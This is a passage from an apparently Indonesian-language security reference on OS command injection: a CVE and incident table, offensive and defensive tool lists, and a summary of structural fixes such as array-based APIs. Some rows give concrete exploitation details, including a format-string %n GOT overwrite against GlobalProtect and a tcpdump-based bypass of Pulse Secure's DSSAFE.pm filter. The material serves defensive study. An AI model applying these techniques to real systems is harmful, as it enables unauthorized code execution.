§7-2 (PHP-CGI Unicode bypass)CVE-2024-4577PHP (CGI mode, Windows)Critical RCE. Unicode “Best-Fit” mapping melewati filtering -. Aktif dieksploitasi di wild.
§1-1 + §7-1 (semicolon + shell_exec)CVE-2024-3400Palo Alto Networks PAN-OSCritical RCE. Unauthenticated command injection dalam GlobalProtect gateway. CVSS 10.0.
§1 + §7-1 (CLI injection)CVE-2024-20399Cisco NX-OSAuthenticated admin → root command execution via CLI. Dieksploitasi oleh Velvet Ant (Chinese APT).
§1 + §7-1 (CLI injection)CVE-2024-21887Ivanti Connect SecureUnauthenticated RCE via web component. Dichain dengan auth bypass CVE-2023-46805.
§2-1 (Git argument injection)CVE-2025-53652Jenkins Git Parameter PluginRCE via nilai git parameter yang tidak divalidasi diteruskan ke shell command. 1,500+ server terexpose.
§2-1 (go-getter arg injection)CVE-2024-3817HashiCorp go-getterArgument injection ketika fetching remote default git branches.
§9-1 (GH Actions expression)CVE-2025-53104gluestack-uiCVSS 9.1. RCE via crafted GitHub Discussion title dalam Actions workflow.
§1 + §7-1 (proc_open)CVE-2025-49141HaxCMS-PHPURL input diteruskan ke proc_open via git set_remote tanpa sanitization.
§8-3 (WAF parsing discrepancy)WAFFLED (ACSAC 2025)AWS/Azure/Cloudflare/Cloud Armor/ModSecurity1,207 bypass via request structure mutation. Google Cloud Armor: Tier 1, Priority 1, Severity 1.
§2-1 (argument injection)CloudImposer (BH 2024)Google Cloud PlatformGCP command argument injection mempengaruhi jutaan cloud server, termasuk produksi Google.
§1 + §7-1 (FortiSIEM CLI)FG-IR-25-152Fortinet FortiSIEMUnauthenticated OS command injection via crafted CLI requests. Exploit code ditemukan di wild.
§9-3 (supply chain)tj-actions/changed-files (Mar 2025)GitHub Actions ecosystemMaintainer account compromise → backdoor dalam semua versi → shell payload dalam consumer workflows.
§1-4 + §8-1 (config injection)CVE-2025-1974 (IngressNightmare)Kubernetes ingress-nginxUnauthenticated RCE → cluster-wide secret access → full cluster takeover.
§2-1 (argument injection dalam AI agents)Multiple (2025)AI coding agents (MCP-based)Argument injection dalam AI tool-calling flow memungkinkan arbitrary code execution pada developer machine.
§1 + §7-1 (glob CLI exec)CVE-2025-64756glob CLI (npm)Command injection via flag --cmd ketika memroses file dengan nama malicious.
§7-5 (BatBadBut Windows escaping bypass)CVE-2024-24576 / CERT VU#123335Rust std, Node.js, PHP, Haskell + othersCritical RCE (CVSS 10.0). Array-based “safe” API memanggil cmd.exe untuk .bat/.cmd, mengalahkan argument escaping berbasis backslash.
§1 + §7-1 (cloud infrastructure CLI)CVE-2024-50603Aviatrix ControllerUnauthenticated RCE via injeksi parameter cloud_type dalam cloud gateway management API. CVSS 10.0. Aktif dieksploitasi di wild.
§7-1 (format string → GOT overwrite)CVE-2019-1579 (silently patched)Palo Alto GlobalProtect SSL VPNPre-auth RCE via format string dalam daemon sslmgr. Parameter scep-profile-name diteruskan langsung ke snprintf sebagai format string. Deteksi time-based via %9999999c (delay non-destruktif). Eksploitasi: %n menimpa strlen@GOTsystem@PLT, mengkonversi strlen(input) selanjutnya menjadi system(input)
§1-1 + §7-1 (DSSAFE.pm bypass)CVE-2019-11539Pulse Secure Connect VPNPost-auth command injection melewati hook DSSAFE.pm (yang mengintersep system(), open(), backticks). Bypass: menggunakan flag -r tcpdump untuk menghasilkan error message tcpdump: [payload]: No such file or directory — Perl menginterpretasikan tcpdump: sebagai GOTO label dan mengevaluasi sisanya sebagai code

§12. Detection Tools

Offensive Tools

ToolTarget ScopeCore Technique
Commix (Python)Semua tipe OS command injectionDeteksi dan eksploitasi otomatis: result-based, blind time-based, file-based, DNS/HTTP out-of-band. Mendukung multiple separator, encoding, dan teknik evasion.
SHELLING (Burp Extension, PortSwigger)Comprehensive payload generationGenerator payload OS command injection yang mencakup semua tipe separator, encoding, dan varian OS.
Argument Injection Hammer (Burp Extension, NCC Group)Argument injection (§2) secara spesifikMengidentifikasi kerentanan argument injection dengan menguji payload leading-dash terhadap binary umum.
Bashfuscator (Python)Linux bash payload obfuscationObfuscation command otomatis menggunakan variable expansion, encoding, string manipulation, dan eval chains.
DOSfuscation (PowerShell)Windows cmd/PowerShell obfuscationObfuscation otomatis untuk payload command-line Windows menggunakan environment variable, carets, string operations.
WAFFLED Fuzzer (Python)WAF bypass via request mutationHTTP request fuzzer berbasis grammar yang menargetkan parsing discrepancy antara WAF dan backend framework.
Interactsh (Go, ProjectDiscovery)Out-of-band detection infrastructureMenghasilkan callback URL/DNS subdomain unik untuk mendeteksi blind command injection via channel OOB.

Defensive Tools

ToolTarget ScopeCore Technique
SemgrepStatic analysis (multi-language)Deteksi berbasis pattern dari pemanggilan fungsi berbahaya dengan tainted user input. Rules untuk exec, system, subprocess, child_process, dll.
CodeQLStatic analysis (multi-language)Taint tracking dari source (user input) ke sink (command execution) di seluruh function boundary.
Snyk CodeStatic analysis (multi-language)Scanning code real-time untuk sink command injection dengan integrasi IDE.
ModSecurity + CRSWAF (runtime)Request pattern matching dengan Core Rule Set. Mencakup signature command injection umum tetapi rentan terhadap bypass §6 dan §8.
Cloudflare WAFWAF (runtime)Deteksi berbasis ML dan signature. Terus diperbarui tetapi di-bypass oleh teknik §8-3.

§13. Summary: Core Principles

Root cause dari semua command injection adalah tidak adanya principled boundary antara data dan instruksi dalam interpreter shell. Berbeda dengan SQL (yang memiliki parameterized queries) atau HTML (yang memiliki context-aware output encoding), operating system shell dirancang untuk penggunaan interaktif manusia di mana pengguna adalah otoritas. Setiap fitur yang membuat shell powerful untuk manusia—metacharacter, expansion, globbing, quoting, environment variable—menjadi permukaan serangan ketika data untrusted memasuki pipeline interpretasi shell.

Incremental fixes gagal karena permukaan mutasi adalah combinatorially explosive. Pendekatan blocklist harus memperhitungkan setiap command separator (§1: ;, &&, ||, |, &, \n), setiap sintaks substitution (§1-4: ` `, $(), $(())), setiap mekanisme shell expansion (§4: braces, globs, tildes, process substitution), setiap transformasi encoding (§6: hex, octal, base64, URL, Unicode, quote insertion, case manipulation, ekstraksi substring variable), dan setiap API berbahaya spesifik bahasa (§7). Setiap teknik dapat dikombinasikan dengan yang lain, dan shell baru (zsh, fish, PowerShell) memperkenalkan sintaks tambahan. WAF atau input filter perlu mereplikasi shell parser sepenuhnya untuk mendeteksi semua injeksi secara andal—pada titik itu akan lebih sederhana untuk tidak memanggil shell sama sekali.

Solusi struktural adalah menghilangkan shell dari path eksekusi perintah. Ini berarti menggunakan API array-based yang meneruskan argument langsung ke execvp() tanpa interpolasi shell (execFile di Node.js, subprocess.Popen([...]) dengan shell=False di Python, multi-argument system() di Ruby/Perl, ProcessBuilder di Java). Pendekatan ini menghilangkan seluruh ruang mutasi §1, §3, §4, §5, §6, dan §8, mengurangi risiko residual ke argument injection (§2) saja—yang diatasi dengan memasukkan -- sebelum argument yang dikontrol pengguna dan memvalidasi bahwa input tidak dimulai dengan -. Pengecualian kritis ada di Windows: ketika target executable adalah file .bat atau .cmd, Windows secara diam-diam memanggil cmd.exe, memperkenalkan kembali interpretasi shell meskipun menggunakan API array-based (§7-5, BatBadBut). Untuk konteks CI/CD (§9), fix struktural adalah tidak pernah menginterpolasi input untrusted ke shell command: gunakan intermediate environment variable (env: di GitHub Actions) atau API purpose-built sebagai gantinya.

CISA dan FBI dalam joint advisory 2024 secara eksplisit menyerukan kepada technology manufacturer untuk menghilangkan OS command injection di level design daripada mengandalkan input sanitization—pengakuan bahwa kelas kerentanan ini secara fundamental adalah design problem, bukan input validation problem.


References


Dokumen ini dibuat untuk tujuan defensive security research dan vulnerability understanding.